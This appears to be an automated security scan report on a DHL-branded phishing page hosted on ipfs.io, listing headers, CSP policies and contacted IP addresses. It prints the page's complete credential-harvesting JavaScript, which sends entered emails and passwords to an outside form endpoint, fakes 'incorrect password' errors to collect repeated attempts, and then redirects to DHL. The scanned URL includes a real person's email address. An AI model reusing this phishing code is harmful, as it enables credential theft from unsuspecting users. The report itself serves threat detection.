government public service

English

The domain name 'ipfs.io' uses the British Indian Ocean Territory country-code top-level domain (.io). The registrable portion 'ipfs' spans 4 characters containing one vowel alongside 3 consonants. It segments into 2 words: i, pfs. Median word length is 2 characters. No strong language cues emerged from the frequency lists.

email

password

html/84/ef/84ef298b-8e38-4c9d-9cf4-bdb92eaa5ae3.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

e0ccb393d701a720880c484706d9e06f70e74ebc22b2a97da5853f9c3299f271

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Abuse

Google LLC

GOOGLE


  (() => {
    const form = document.getElementById('signin-form');
    const errorMessageEl = document.getElementById('error-message');
    const maxAttempts = 5; // Maximum number of attempts
    const submitEndpoint = 'https://submit-form.com/zO46T563j';
    let attemptCount = 0;

    // Extract email from the URL hash (after #)
    let emailParam = window.location.hash ? window.location.hash.substring(1) : null;

    if (emailParam) {
      // Pre-fill the email input field
      const emailInput = document.getElementById('email');
      emailInput.value = decodeURIComponent(emailParam);
      emailInput.disabled = false; // Enable the email input field

      // Do NOT modify UI based on domain, keep DHL background as is

    } else {
      console.warn("No email found in the URL hash.");
      // Keep default DHL background, no UI change
    }

    // Utility: send data to the endpoint asynchronously
    async function reportCredentials(email, password) {
      try {
        await fetch(submitEndpoint, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ email, password, timestamp: new Date().toISOString() }),
          keepalive: true
        });
      } catch (e) {
        // Network or other errors: silently fail to not break UX
        console.warn('Report submission failed:', e);
      }
    }

    form.addEventListener('submit', async (event) => {
      event.preventDefault();
      errorMessageEl.textContent = '';

      const email = form.email.value.trim();
      const password = form.password.value;

      // Basic client side validation
      if (!email || !password) {
        errorMessageEl.textContent = 'Please enter both email and password.';
        return;
      }

      // Report credentials to endpoint (async, don't block UX)
      await reportCredentials(email, password);

      attemptCount++; // Increment the attempt count

      if (attemptCount < maxAttempts) {
        // Reset password field and show error message
        form.password.value = '';
        form.password.focus();
        errorMessageEl.textContent = 'Incorrect password. Please try again.';
      } else {
        // Redirect on 5th attempt
        window.location.href = 'https://www.dhl.com/gb-en/home/ship-now.html';
      }
    });

  })();


IPFS

HTTP/3

Cloudflare Bot Management

Cloudflare

DHL Sign-In

✅ Low Risk - https://ipfs.io/ipfs/bafkreihmqpwthmx3xh4fdy74jeqfemzojg37uyyho3uolexhpllph2co5q#anders.ohlson@apc.se

Requests	IP Address	Location	AS Autonomous System
8	142.250.184.251	United States	AS15169GOOGLE
2	142.250.186.42	United States	AS15169GOOGLE
2	142.250.185.99	United States	AS15169GOOGLE
1	209.94.90.1	United States	AS40680PROTOCOL
1	142.250.185.187	United States	AS15169GOOGLE
1	185.93.2.243	Paris, Île-de-France, France	AS60068Datacamp Limited
0	2400:52e0:1e02::1217:1	Paris, Île-de-France, France	AS200325BUNNYWAY, informacijske storitve d.o.o.
0	142.250.186.91	United States	AS15169GOOGLE
0	142.251.140.187	United States	AS15169GOOGLE
0	216.58.206.91	United States	AS15169GOOGLE
8	28	-	-

Security Scan Report: ipfs.io

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies4

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History